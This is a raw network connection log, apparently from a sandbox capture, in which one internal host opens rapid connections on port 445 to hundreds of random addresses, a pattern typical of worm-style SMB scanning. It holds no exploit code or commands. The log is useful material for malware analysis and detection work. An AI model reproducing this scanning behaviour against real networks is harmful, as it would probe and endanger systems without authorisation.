Jul 20, 2022 13:26:58.674758911 CEST	57823	445	192.168.2.7	67.0.97.119
Jul 20, 2022 13:26:58.716301918 CEST	445	57776	103.130.128.185	192.168.2.7
Jul 20, 2022 13:26:58.717206955 CEST	57828	445	192.168.2.7	68.184.6.152
Jul 20, 2022 13:26:58.836894989 CEST	57829	445	192.168.2.7	26.26.228.84
Jul 20, 2022 13:26:58.884902000 CEST	57833	445	192.168.2.7	103.15.93.183
Jul 20, 2022 13:26:58.886940002 CEST	57835	445	192.168.2.7	192.114.124.26
Jul 20, 2022 13:26:58.887751102 CEST	57836	445	192.168.2.7	215.82.246.135
Jul 20, 2022 13:26:58.889173985 CEST	57838	445	192.168.2.7	149.200.68.111
Jul 20, 2022 13:26:58.952820063 CEST	57848	445	192.168.2.7	132.192.136.193
Jul 20, 2022 13:26:58.953316927 CEST	57849	445	192.168.2.7	12.132.253.253
Jul 20, 2022 13:26:58.953479052 CEST	57852	445	192.168.2.7	50.236.230.208
Jul 20, 2022 13:26:58.953629971 CEST	57854	445	192.168.2.7	169.252.216.155
Jul 20, 2022 13:26:58.953727007 CEST	57858	445	192.168.2.7	203.168.184.128
Jul 20, 2022 13:26:58.953732014 CEST	57859	445	192.168.2.7	10.35.55.68
Jul 20, 2022 13:26:58.954020977 CEST	57866	445	192.168.2.7	183.4.94.92
Jul 20, 2022 13:26:58.954168081 CEST	57870	445	192.168.2.7	141.115.97.94
Jul 20, 2022 13:26:58.954355001 CEST	57871	445	192.168.2.7	167.112.237.249
Jul 20, 2022 13:26:58.954363108 CEST	57872	445	192.168.2.7	161.230.226.52
Jul 20, 2022 13:26:58.954476118 CEST	57874	445	192.168.2.7	33.235.117.179
Jul 20, 2022 13:26:58.954477072 CEST	57873	445	192.168.2.7	215.237.132.82
Jul 20, 2022 13:26:58.975083113 CEST	57875	445	192.168.2.7	185.15.42.118
Jul 20, 2022 13:26:59.025605917 CEST	57876	445	192.168.2.7	10.26.111.46
Jul 20, 2022 13:26:59.132617950 CEST	57880	445	192.168.2.7	94.27.140.57
Jul 20, 2022 13:26:59.133322001 CEST	57881	445	192.168.2.7	5.240.140.110
Jul 20, 2022 13:26:59.153228998 CEST	57894	445	192.168.2.7	218.225.62.84
Jul 20, 2022 13:26:59.153336048 CEST	57892	445	192.168.2.7	96.184.106.160
Jul 20, 2022 13:26:59.153342962 CEST	57896	445	192.168.2.7	45.129.103.50
Jul 20, 2022 13:26:59.153424978 CEST	57897	445	192.168.2.7	83.206.202.151
Jul 20, 2022 13:26:59.153490067 CEST	57898	445	192.168.2.7	93.24.173.69
Jul 20, 2022 13:26:59.163299084 CEST	57900	445	192.168.2.7	173.201.174.243
Jul 20, 2022 13:26:59.194000959 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:59.224723101 CEST	445	57902	93.22.219.4	192.168.2.7
Jul 20, 2022 13:26:59.224895954 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:59.226182938 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:59.474258900 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:59.786854982 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:59.788393021 CEST	57917	445	192.168.2.7	52.38.2.177
Jul 20, 2022 13:26:59.823968887 CEST	57921	445	192.168.2.7	143.60.233.71
Jul 20, 2022 13:26:59.962698936 CEST	57922	445	192.168.2.7	138.205.125.14
Jul 20, 2022 13:27:00.007818937 CEST	57926	445	192.168.2.7	58.88.154.41
Jul 20, 2022 13:27:00.009556055 CEST	57928	445	192.168.2.7	144.49.12.7
Jul 20, 2022 13:27:00.031675100 CEST	57929	445	192.168.2.7	61.64.236.62
Jul 20, 2022 13:27:00.056083918 CEST	57941	445	192.168.2.7	185.15.42.119
Jul 20, 2022 13:27:00.089242935 CEST	57943	445	192.168.2.7	89.200.72.229
Jul 20, 2022 13:27:00.089310884 CEST	57942	445	192.168.2.7	184.187.237.118
Jul 20, 2022 13:27:00.089519024 CEST	57946	445	192.168.2.7	92.143.34.87
Jul 20, 2022 13:27:00.089787960 CEST	57951	445	192.168.2.7	184.193.124.72
Jul 20, 2022 13:27:00.089860916 CEST	57952	445	192.168.2.7	16.118.96.249
Jul 20, 2022 13:27:00.089967966 CEST	57953	445	192.168.2.7	217.69.220.126
Jul 20, 2022 13:27:00.090430975 CEST	57963	445	192.168.2.7	116.225.116.240
Jul 20, 2022 13:27:00.090579033 CEST	57964	445	192.168.2.7	75.90.202.76
Jul 20, 2022 13:27:00.090764046 CEST	57965	445	192.168.2.7	30.180.74.201
Jul 20, 2022 13:27:00.090818882 CEST	57966	445	192.168.2.7	88.122.251.160
Jul 20, 2022 13:27:00.090895891 CEST	57967	445	192.168.2.7	88.182.132.29
Jul 20, 2022 13:27:00.091083050 CEST	57968	445	192.168.2.7	129.2.125.153
Jul 20, 2022 13:27:00.133357048 CEST	57971	445	192.168.2.7	35.161.43.165
Jul 20, 2022 13:27:00.137053013 CEST	445	57943	89.200.72.229	192.168.2.7
Jul 20, 2022 13:27:00.209750891 CEST	57972	445	192.168.2.7	5.240.140.111
Jul 20, 2022 13:27:00.209774017 CEST	57973	445	192.168.2.7	94.27.140.58
Jul 20, 2022 13:27:00.273293972 CEST	57977	445	192.168.2.7	20.204.147.226
Jul 20, 2022 13:27:00.281465054 CEST	57990	445	192.168.2.7	218.135.56.27
Jul 20, 2022 13:27:00.282120943 CEST	57991	445	192.168.2.7	88.84.45.56
Jul 20, 2022 13:27:00.283392906 CEST	57993	445	192.168.2.7	194.67.167.143
Jul 20, 2022 13:27:00.284074068 CEST	57994	445	192.168.2.7	209.249.119.24
Jul 20, 2022 13:27:00.284750938 CEST	57995	445	192.168.2.7	16.8.254.59
Jul 20, 2022 13:27:00.396297932 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:27:00.647732973 CEST	57943	445	192.168.2.7	89.200.72.229
Jul 20, 2022 13:27:00.703126907 CEST	445	57943	89.200.72.229	192.168.2.7
Jul 20, 2022 13:27:00.913266897 CEST	58009	445	192.168.2.7	128.137.127.180
Jul 20, 2022 13:27:00.945244074 CEST	58011	445	192.168.2.7	8.183.111.58
Jul 20, 2022 13:27:00.960064888 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:00.991087914 CEST	445	58015	86.71.147.2	192.168.2.7
Jul 20, 2022 13:27:00.991282940 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:00.991537094 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:01.085043907 CEST	58016	445	192.168.2.7	74.184.4.65
Jul 20, 2022 13:27:01.116725922 CEST	58018	445	192.168.2.7	190.36.153.79
Jul 20, 2022 13:27:01.131613016 CEST	58022	445	192.168.2.7	185.15.42.120
Jul 20, 2022 13:27:01.149027109 CEST	58026	445	192.168.2.7	115.35.206.141
Jul 20, 2022 13:27:01.150270939 CEST	58028	445	192.168.2.7	92.43.182.238
Jul 20, 2022 13:27:01.150846958 CEST	58029	445	192.168.2.7	149.177.170.93
Jul 20, 2022 13:27:01.224819899 CEST	58037	445	192.168.2.7	44.184.231.16
Jul 20, 2022 13:27:01.224967003 CEST	58038	445	192.168.2.7	128.140.188.202
Jul 20, 2022 13:27:01.224993944 CEST	58040	445	192.168.2.7	5.203.96.141
Jul 20, 2022 13:27:01.224998951 CEST	58039	445	192.168.2.7	100.52.199.52
Jul 20, 2022 13:27:01.225122929 CEST	58042	445	192.168.2.7	14.152.29.156
Jul 20, 2022 13:27:01.225383043 CEST	58049	445	192.168.2.7	191.216.144.177
Jul 20, 2022 13:27:01.225501060 CEST	58052	445	192.168.2.7	69.138.0.216
Jul 20, 2022 13:27:01.225560904 CEST	58053	445	192.168.2.7	143.160.148.175
Jul 20, 2022 13:27:01.225811958 CEST	58054	445	192.168.2.7	78.109.136.27
Jul 20, 2022 13:27:01.225960970 CEST	58059	445	192.168.2.7	173.254.117.226
Jul 20, 2022 13:27:01.226003885 CEST	58060	445	192.168.2.7	165.48.61.85
Jul 20, 2022 13:27:01.226108074 CEST	58062	445	192.168.2.7	160.49.68.97
Jul 20, 2022 13:27:01.240072966 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:01.240973949 CEST	58064	445	192.168.2.7	188.195.230.205
Jul 20, 2022 13:27:01.280278921 CEST	58066	445	192.168.2.7	94.27.140.59
Jul 20, 2022 13:27:01.281399965 CEST	58067	445	192.168.2.7	5.240.140.112
Jul 20, 2022 13:27:01.387011051 CEST	58069	445	192.168.2.7	216.0.245.59
Jul 20, 2022 13:27:01.398835897 CEST	58082	445	192.168.2.7	42.43.67.147
Jul 20, 2022 13:27:01.399599075 CEST	58083	445	192.168.2.7	13.2.47.153
Jul 20, 2022 13:27:01.401151896 CEST	58085	445	192.168.2.7	42.116.49.81
Jul 20, 2022 13:27:01.402118921 CEST	58086	445	192.168.2.7	30.242.154.226
Jul 20, 2022 13:27:01.402870893 CEST	58087	445	192.168.2.7	65.214.141.51
Jul 20, 2022 13:27:01.552671909 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:01.599526882 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:27:02.059334040 CEST	58104	445	192.168.2.7	25.90.208.61
Jul 20, 2022 13:27:02.070041895 CEST	58105	445	192.168.2.7	35.216.53.187
Jul 20, 2022 13:27:02.162087917 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:02.209660053 CEST	58110	445	192.168.2.7	185.15.42.121
Jul 20, 2022 13:27:02.210791111 CEST	58111	445	192.168.2.7	32.216.149.12
Jul 20, 2022 13:27:02.241430044 CEST	58113	445	192.168.2.7	137.111.207.49
Jul 20, 2022 13:27:02.305104017 CEST	58120	445	192.168.2.7	71.99.249.39
Jul 20, 2022 13:27:02.305274963 CEST	58121	445	192.168.2.7	200.74.121.151
Jul 20, 2022 13:27:02.305416107 CEST	58123	445	192.168.2.7	218.10.243.52
Jul 20, 2022 13:27:02.335609913 CEST	58130	445	192.168.2.7	163.30.36.76
Jul 20, 2022 13:27:02.336496115 CEST	58131	445	192.168.2.7	182.136.215.140
Jul 20, 2022 13:27:02.337276936 CEST	58132	445	192.168.2.7	26.120.4.36
Jul 20, 2022 13:27:02.338047981 CEST	58133	445	192.168.2.7	217.250.200.98
Jul 20, 2022 13:27:02.339421988 CEST	58135	445	192.168.2.7	109.222.50.173
Jul 20, 2022 13:27:02.345206022 CEST	58143	445	192.168.2.7	99.239.138.129
Jul 20, 2022 13:27:02.346700907 CEST	58145	445	192.168.2.7	126.84.46.181
Jul 20, 2022 13:27:02.348150015 CEST	58147	445	192.168.2.7	68.253.114.201
Jul 20, 2022 13:27:02.349657059 CEST	58149	445	192.168.2.7	182.75.121.249
Jul 20, 2022 13:27:02.351743937 CEST	58152	445	192.168.2.7	7.153.223.101
Jul 20, 2022 13:27:02.352566004 CEST	58153	445	192.168.2.7	74.199.63.226
Jul 20, 2022 13:27:02.353363037 CEST	58154	445	192.168.2.7	105.113.198.204
Jul 20, 2022 13:27:02.377415895 CEST	58159	445	192.168.2.7	94.27.140.60
Jul 20, 2022 13:27:02.377464056 CEST	58158	445	192.168.2.7	5.240.140.113
Jul 20, 2022 13:27:02.377798080 CEST	58160	445	192.168.2.7	197.30.83.214
Jul 20, 2022 13:27:02.512490988 CEST	58162	445	192.168.2.7	44.51.229.150
Jul 20, 2022 13:27:02.522789955 CEST	58176	445	192.168.2.7	169.164.135.196
Jul 20, 2022 13:27:02.523885965 CEST	58177	445	192.168.2.7	173.52.14.52
Jul 20, 2022 13:27:02.525371075 CEST	58179	445	192.168.2.7	116.166.146.120
Jul 20, 2022 13:27:02.527403116 CEST	58180	445	192.168.2.7	220.208.53.110
Jul 20, 2022 13:27:02.527545929 CEST	58182	445	192.168.2.7	152.119.211.22
Jul 20, 2022 13:27:03.095391035 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:03.178744078 CEST	58198	445	192.168.2.7	132.176.195.54
Jul 20, 2022 13:27:03.195791006 CEST	58202	445	192.168.2.7	11.85.34.74
Jul 20, 2022 13:27:03.270142078 CEST	445	58193	38.55.46.4	192.168.2.7
Jul 20, 2022 13:27:03.270416021 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:03.270486116 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:03.273719072 CEST	58205	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:03.288547993 CEST	58206	445	192.168.2.7	185.15.42.122
Jul 20, 2022 13:27:03.335108042 CEST	58207	445	192.168.2.7	19.241.83.32
Jul 20, 2022 13:27:03.365262032 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:03.367655993 CEST	58209	445	192.168.2.7	154.219.138.114
Jul 20, 2022 13:27:03.440350056 CEST	58216	445	192.168.2.7	120.118.168.130
Jul 20, 2022 13:27:03.440437078 CEST	58217	445	192.168.2.7	162.227.244.106
Jul 20, 2022 13:27:03.440709114 CEST	58221	445	192.168.2.7	175.208.213.54
Jul 20, 2022 13:27:03.444344044 CEST	58226	445	192.168.2.7	94.27.140.61
Jul 20, 2022 13:27:03.445163012 CEST	58227	445	192.168.2.7	5.240.140.114
Jul 20, 2022 13:27:03.462855101 CEST	58232	445	192.168.2.7	63.124.139.173
Jul 20, 2022 13:27:03.464447975 CEST	58234	445	192.168.2.7	163.180.45.233
Jul 20, 2022 13:27:03.465521097 CEST	58235	445	192.168.2.7	150.159.198.169
Jul 20, 2022 13:27:03.466443062 CEST	58236	445	192.168.2.7	159.122.12.236
Jul 20, 2022 13:27:03.467223883 CEST	58237	445	192.168.2.7	42.132.37.76
Jul 20, 2022 13:27:03.468766928 CEST	58239	445	192.168.2.7	93.24.105.132
Jul 20, 2022 13:27:03.470160961 CEST	58241	445	192.168.2.7	115.204.14.61
Jul 20, 2022 13:27:03.471549034 CEST	58243	445	192.168.2.7	90.173.87.176
Jul 20, 2022 13:27:03.475514889 CEST	58247	445	192.168.2.7	132.69.240.17
Jul 20, 2022 13:27:03.493972063 CEST	58250	445	192.168.2.7	214.237.165.45
Jul 20, 2022 13:27:03.494126081 CEST	58251	445	192.168.2.7	36.35.253.53
Jul 20, 2022 13:27:03.494124889 CEST	58252	445	192.168.2.7	166.225.247.80
Jul 20, 2022 13:27:03.494724989 CEST	58256	445	192.168.2.7	121.221.150.51
Jul 20, 2022 13:27:03.633047104 CEST	58259	445	192.168.2.7	169.60.75.95
Jul 20, 2022 13:27:03.647376060 CEST	58272	445	192.168.2.7	8.76.61.141
Jul 20, 2022 13:27:03.648808002 CEST	58274	445	192.168.2.7	165.186.73.48
Jul 20, 2022 13:27:03.650506973 CEST	58276	445	192.168.2.7	154.220.179.177
Jul 20, 2022 13:27:03.652367115 CEST	58278	445	192.168.2.7	32.191.19.194
Jul 20, 2022 13:27:03.652833939 CEST	58279	445	192.168.2.7	78.123.226.176
Jul 20, 2022 13:27:03.818460941 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:04.005975962 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:27:04.305356979 CEST	58295	445	192.168.2.7	43.96.149.90
Jul 20, 2022 13:27:04.320245981 CEST	58297	445	192.168.2.7	113.43.15.71
Jul 20, 2022 13:27:04.366574049 CEST	58300	445	192.168.2.7	185.15.42.123
Jul 20, 2022 13:27:04.478673935 CEST	58304	445	192.168.2.7	16.31.18.249
Jul 20, 2022 13:27:04.478682995 CEST	58306	445	192.168.2.7	181.55.10.218
Jul 20, 2022 13:27:04.522480965 CEST	58308	445	192.168.2.7	5.240.140.115
Jul 20, 2022 13:27:04.524493933 CEST	58309	445	192.168.2.7	94.27.140.62
Jul 20, 2022 13:27:04.598903894 CEST	58312	445	192.168.2.7	201.82.238.120
Jul 20, 2022 13:27:04.598958015 CEST	58314	445	192.168.2.7	171.234.50.45
Jul 20, 2022 13:27:04.601190090 CEST	58318	445	192.168.2.7	48.91.205.157
Jul 20, 2022 13:27:04.621027946 CEST	58326	445	192.168.2.7	121.246.93.94
Jul 20, 2022 13:27:04.621254921 CEST	58328	445	192.168.2.7	50.69.189.224
Jul 20, 2022 13:27:04.621345043 CEST	58330	445	192.168.2.7	122.185.97.224
Jul 20, 2022 13:27:04.621603012 CEST	58332	445	192.168.2.7	25.220.148.219
Jul 20, 2022 13:27:04.621726036 CEST	58335	445	192.168.2.7	157.101.236.167
Jul 20, 2022 13:27:04.621725082 CEST	58333	445	192.168.2.7	130.198.197.79
Jul 20, 2022 13:27:04.621747971 CEST	58334	445	192.168.2.7	71.241.252.175
Jul 20, 2022 13:27:04.621876001 CEST	58337	445	192.168.2.7	157.186.30.118
Jul 20, 2022 13:27:04.624360085 CEST	58343	445	192.168.2.7	160.102.93.110
Jul 20, 2022 13:27:04.624666929 CEST	58348	445	192.168.2.7	153.172.133.157
Jul 20, 2022 13:27:04.624695063 CEST	58347	445	192.168.2.7	138.124.28.142
Jul 20, 2022 13:27:04.624828100 CEST	58350	445	192.168.2.7	104.85.79.202
Jul 20, 2022 13:27:04.624978065 CEST	58352	445	192.168.2.7	181.208.82.228
Jul 20, 2022 13:27:04.742799044 CEST	58354	445	192.168.2.7	2.76.99.122
Jul 20, 2022 13:27:04.784727097 CEST	58367	445	192.168.2.7	24.199.8.135
Jul 20, 2022 13:27:04.784817934 CEST	58368	445	192.168.2.7	54.138.129.58
Jul 20, 2022 13:27:04.785067081 CEST	58370	445	192.168.2.7	128.84.101.252
Jul 20, 2022 13:27:04.785162926 CEST	58373	445	192.168.2.7	51.130.228.237
Jul 20, 2022 13:27:04.785196066 CEST	58374	445	192.168.2.7	176.153.103.253
Jul 20, 2022 13:27:04.865298033 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:05.446739912 CEST	58389	445	192.168.2.7	56.118.203.96
Jul 20, 2022 13:27:05.446918011 CEST	58391	445	192.168.2.7	200.7.164.70
Jul 20, 2022 13:27:05.447082043 CEST	58395	445	192.168.2.7	185.15.42.124
Jul 20, 2022 13:27:05.603857994 CEST	58397	445	192.168.2.7	5.240.140.116
Jul 20, 2022 13:27:05.603863001 CEST	58398	445	192.168.2.7	94.27.140.63
Jul 20, 2022 13:27:05.604002953 CEST	58399	445	192.168.2.7	29.24.240.222
Jul 20, 2022 13:27:05.604932070 CEST	58401	445	192.168.2.7	189.126.81.116
Jul 20, 2022 13:27:05.727032900 CEST	58408	445	192.168.2.7	166.66.254.156
Jul 20, 2022 13:27:05.728358030 CEST	58410	445	192.168.2.7	147.213.72.188
Jul 20, 2022 13:27:05.730308056 CEST	58413	445	192.168.2.7	182.71.246.107
Jul 20, 2022 13:27:05.742458105 CEST	58418	445	192.168.2.7	202.233.64.112
Jul 20, 2022 13:27:05.771678925 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:05.783668041 CEST	58419	445	192.168.2.7	137.198.28.83
Jul 20, 2022 13:27:05.787777901 CEST	58423	445	192.168.2.7	11.158.3.113
Jul 20, 2022 13:27:05.787955999 CEST	58427	445	192.168.2.7	80.169.65.232
Jul 20, 2022 13:27:05.788103104 CEST	58432	445	192.168.2.7	8.176.62.252
Jul 20, 2022 13:27:05.788244963 CEST	58435	445	192.168.2.7	97.115.150.208
Jul 20, 2022 13:27:05.788280964 CEST	58436	445	192.168.2.7	137.216.232.48
Jul 20, 2022 13:27:05.788328886 CEST	58437	445	192.168.2.7	126.155.44.48
Jul 20, 2022 13:27:05.788414001 CEST	58438	445	192.168.2.7	122.149.141.70
Jul 20, 2022 13:27:05.788613081 CEST	58421	445	192.168.2.7	90.82.85.198
Jul 20, 2022 13:27:05.788633108 CEST	58440	445	192.168.2.7	11.45.117.74
Jul 20, 2022 13:27:05.788753033 CEST	58441	445	192.168.2.7	181.9.32.17
Jul 20, 2022 13:27:05.788929939 CEST	58443	445	192.168.2.7	136.238.23.25
Jul 20, 2022 13:27:05.817662001 CEST	445	58427	80.169.65.232	192.168.2.7
Jul 20, 2022 13:27:05.884651899 CEST	58460	445	192.168.2.7	8.225.73.143
Jul 20, 2022 13:27:05.899220943 CEST	58462	445	192.168.2.7	143.112.114.224
Jul 20, 2022 13:27:05.901158094 CEST	58464	445	192.168.2.7	177.242.204.218
Jul 20, 2022 13:27:05.901294947 CEST	58466	445	192.168.2.7	99.80.54.28
Jul 20, 2022 13:27:05.901357889 CEST	58468	445	192.168.2.7	178.130.29.130
Jul 20, 2022 13:27:05.902930975 CEST	58469	445	192.168.2.7	120.197.169.46
Jul 20, 2022 13:27:06.287373066 CEST	58205	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:06.318603992 CEST	58427	445	192.168.2.7	80.169.65.232
Jul 20, 2022 13:27:06.344260931 CEST	445	58427	80.169.65.232	192.168.2.7
Jul 20, 2022 13:27:06.507539988 CEST	58485	445	192.168.2.7	185.15.42.125
Jul 20, 2022 13:27:06.555515051 CEST	58486	445	192.168.2.7	60.93.24.191
Jul 20, 2022 13:27:06.555727005 CEST	58489	445	192.168.2.7	48.156.69.214
Jul 20, 2022 13:27:06.678982019 CEST	58493	445	192.168.2.7	5.240.140.117
Jul 20, 2022 13:27:06.679650068 CEST	58494	445	192.168.2.7	94.27.140.64
Jul 20, 2022 13:27:06.728285074 CEST	58498	445	192.168.2.7	46.203.17.21
Jul 20, 2022 13:27:06.732525110 CEST	58496	445	192.168.2.7	187.108.216.207
Jul 20, 2022 13:27:06.842130899 CEST	445	58486	60.93.24.191	192.168.2.7
Jul 20, 2022 13:27:06.862767935 CEST	58503	445	192.168.2.7	81.145.26.165
Jul 20, 2022 13:27:06.863060951 CEST	58507	445	192.168.2.7	13.234.30.62
Jul 20, 2022 13:27:06.867430925 CEST	58512	445	192.168.2.7	27.46.223.178
Jul 20, 2022 13:27:06.867532969 CEST	58513	445	192.168.2.7	218.220.150.191
Jul 20, 2022 13:27:06.899828911 CEST	58515	445	192.168.2.7	133.118.242.26
Jul 20, 2022 13:27:06.942787886 CEST	58519	445	192.168.2.7	146.254.9.196
Jul 20, 2022 13:27:06.943181038 CEST	58524	445	192.168.2.7	130.22.102.98
Jul 20, 2022 13:27:06.943384886 CEST	58527	445	192.168.2.7	150.44.62.156
Jul 20, 2022 13:27:06.943835974 CEST	58530	445	192.168.2.7	14.94.144.244
Jul 20, 2022 13:27:06.943964005 CEST	58531	445	192.168.2.7	184.40.124.91
Jul 20, 2022 13:27:06.944040060 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:06.944189072 CEST	58532	445	192.168.2.7	47.86.42.68
Jul 20, 2022 13:27:06.944354057 CEST	58534	445	192.168.2.7	124.204.91.128
Jul 20, 2022 13:27:06.944497108 CEST	58535	445	192.168.2.7	138.125.236.198
Jul 20, 2022 13:27:06.944598913 CEST	58536	445	192.168.2.7	33.37.103.71
Jul 20, 2022 13:27:06.945552111 CEST	58540	445	192.168.2.7	207.253.144.146
Jul 20, 2022 13:27:06.982114077 CEST	58543	445	192.168.2.7	171.9.147.32
Jul 20, 2022 13:27:07.014796972 CEST	58556	445	192.168.2.7	211.92.208.116
Jul 20, 2022 13:27:07.022991896 CEST	58558	445	192.168.2.7	165.183.226.123
Jul 20, 2022 13:27:07.025664091 CEST	58559	445	192.168.2.7	116.4.58.245
Jul 20, 2022 13:27:07.026616096 CEST	58560	445	192.168.2.7	89.140.213.238
Jul 20, 2022 13:27:07.029017925 CEST	58563	445	192.168.2.7	47.136.161.99
Jul 20, 2022 13:27:07.029835939 CEST	58564	445	192.168.2.7	182.134.6.128
Jul 20, 2022 13:27:07.349936008 CEST	58486	445	192.168.2.7	60.93.24.191
Jul 20, 2022 13:27:07.587932110 CEST	58581	445	192.168.2.7	185.15.42.126
Jul 20, 2022 13:27:07.636596918 CEST	445	58486	60.93.24.191	192.168.2.7
Jul 20, 2022 13:27:07.680979967 CEST	58582	445	192.168.2.7	83.224.98.123
Jul 20, 2022 13:27:07.681230068 CEST	58585	445	192.168.2.7	38.245.229.212
Jul 20, 2022 13:27:07.757180929 CEST	58589	445	192.168.2.7	94.27.140.65
Jul 20, 2022 13:27:07.757421017 CEST	58590	445	192.168.2.7	5.240.140.118
Jul 20, 2022 13:27:07.871656895 CEST	58592	445	192.168.2.7	195.207.103.248
Jul 20, 2022 13:27:07.871761084 CEST	58593	445	192.168.2.7	156.127.72.11
Jul 20, 2022 13:27:07.980396032 CEST	58601	445	192.168.2.7	149.13.81.105
Jul 20, 2022 13:27:07.980554104 CEST	58604	445	192.168.2.7	59.220.148.108
Jul 20, 2022 13:27:07.994045019 CEST	58607	445	192.168.2.7	21.168.72.244
Jul 20, 2022 13:27:07.996947050 CEST	58610	445	192.168.2.7	39.216.79.146
Jul 20, 2022 13:27:08.009350061 CEST	445	58601	149.13.81.105	192.168.2.7
Jul 20, 2022 13:27:08.024736881 CEST	58611	445	192.168.2.7	91.7.244.162
Jul 20, 2022 13:27:08.089489937 CEST	58617	445	192.168.2.7	23.177.167.11
Jul 20, 2022 13:27:08.092178106 CEST	58621	445	192.168.2.7	188.61.149.26
Jul 20, 2022 13:27:08.104249954 CEST	58622	445	192.168.2.7	66.204.144.220
Jul 20, 2022 13:27:08.105550051 CEST	58623	445	192.168.2.7	122.216.18.26
Jul 20, 2022 13:27:08.105664968 CEST	58626	445	192.168.2.7	200.122.95.63
Jul 20, 2022 13:27:08.105740070 CEST	58625	445	192.168.2.7	191.71.35.38
Jul 20, 2022 13:27:08.105874062 CEST	58628	445	192.168.2.7	122.165.102.154
Jul 20, 2022 13:27:08.105906963 CEST	58630	445	192.168.2.7	20.237.225.199
Jul 20, 2022 13:27:08.106125116 CEST	58633	445	192.168.2.7	218.230.123.23
Jul 20, 2022 13:27:08.106367111 CEST	58638	445	192.168.2.7	64.209.198.198
Jul 20, 2022 13:27:08.107872963 CEST	58639	445	192.168.2.7	20.192.34.234
Jul 20, 2022 13:27:08.132214069 CEST	58640	445	192.168.2.7	216.210.170.65
Jul 20, 2022 13:27:08.153481007 CEST	58655	445	192.168.2.7	16.18.223.63
Jul 20, 2022 13:27:08.153635979 CEST	58656	445	192.168.2.7	124.137.188.81
Jul 20, 2022 13:27:08.153851986 CEST	58659	445	192.168.2.7	46.223.250.43
Jul 20, 2022 13:27:08.153964996 CEST	58660	445	192.168.2.7	92.198.198.129
Jul 20, 2022 13:27:08.154084921 CEST	58661	445	192.168.2.7	152.246.31.158
Jul 20, 2022 13:27:08.521989107 CEST	58601	445	192.168.2.7	149.13.81.105
Jul 20, 2022 13:27:08.547992945 CEST	445	58601	149.13.81.105	192.168.2.7
Jul 20, 2022 13:27:08.663732052 CEST	58674	445	192.168.2.7	185.15.42.127
Jul 20, 2022 13:27:08.683823109 CEST	445	58216	120.118.168.130	192.168.2.7
Jul 20, 2022 13:27:08.804426908 CEST	58679	445	192.168.2.7	126.222.36.137
Jul 20, 2022 13:27:08.807636023 CEST	58681	445	192.168.2.7	185.15.111.184
Jul 20, 2022 13:27:08.818850994 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:27:08.828444958 CEST	58685	445	192.168.2.7	94.27.140.66
Jul 20, 2022 13:27:08.828795910 CEST	58686	445	192.168.2.7	5.240.140.119
Jul 20, 2022 13:27:08.977962971 CEST	58689	445	192.168.2.7	136.124.251.28
Jul 20, 2022 13:27:08.978804111 CEST	58690	445	192.168.2.7	219.30.89.173
Jul 20, 2022 13:27:09.087265968 CEST	58696	445	192.168.2.7	191.214.233.81
Jul 20, 2022 13:27:09.091089010 CEST	58699	445	192.168.2.7	54.149.202.77
Jul 20, 2022 13:27:09.103019953 CEST	58704	445	192.168.2.7	88.137.87.247
Jul 20, 2022 13:27:09.103146076 CEST	58707	445	192.168.2.7	112.111.134.161
Jul 20, 2022 13:27:09.148456097 CEST	58708	445	192.168.2.7	43.107.110.141
Jul 20, 2022 13:27:09.200464010 CEST	58714	445	192.168.2.7	9.48.39.228
Jul 20, 2022 13:27:09.202559948 CEST	58717	445	192.168.2.7	198.188.164.66
Jul 20, 2022 13:27:09.210354090 CEST	58719	445	192.168.2.7	161.13.4.63
Jul 20, 2022 13:27:09.211157084 CEST	58720	445	192.168.2.7	126.83.38.133
Jul 20, 2022 13:27:09.214596987 CEST	58725	445	192.168.2.7	47.63.161.20
Jul 20, 2022 13:27:09.216319084 CEST	58728	445	192.168.2.7	104.46.143.211
Jul 20, 2022 13:27:09.232969999 CEST	58729	445	192.168.2.7	60.17.208.54
Jul 20, 2022 13:27:09.233436108 CEST	58732	445	192.168.2.7	19.46.89.147
Jul 20, 2022 13:27:09.233541965 CEST	58733	445	192.168.2.7	7.59.148.242
Jul 20, 2022 13:27:09.233627081 CEST	58734	445	192.168.2.7	28.137.181.128
Jul 20, 2022 13:27:09.233747959 CEST	58736	445	192.168.2.7	116.0.241.154
Jul 20, 2022 13:27:09.258291006 CEST	58738	445	192.168.2.7	164.46.59.83
Jul 20, 2022 13:27:09.299552917 CEST	58740	445	192.168.2.7	150.155.53.207
Jul 20, 2022 13:27:09.300040960 CEST	58741	445	192.168.2.7	86.146.121.217
Jul 20, 2022 13:27:09.300055981 CEST	58742	445	192.168.2.7	165.109.237.5
Jul 20, 2022 13:27:09.300183058 CEST	58745	445	192.168.2.7	77.156.58.143
Jul 20, 2022 13:27:09.300240993 CEST	58746	445	192.168.2.7	83.16.89.175
Jul 20, 2022 13:27:09.360986948 CEST	445	58719	161.13.4.63	192.168.2.7
Jul 20, 2022 13:27:09.547244072 CEST	445	58738	164.46.59.83	192.168.2.7
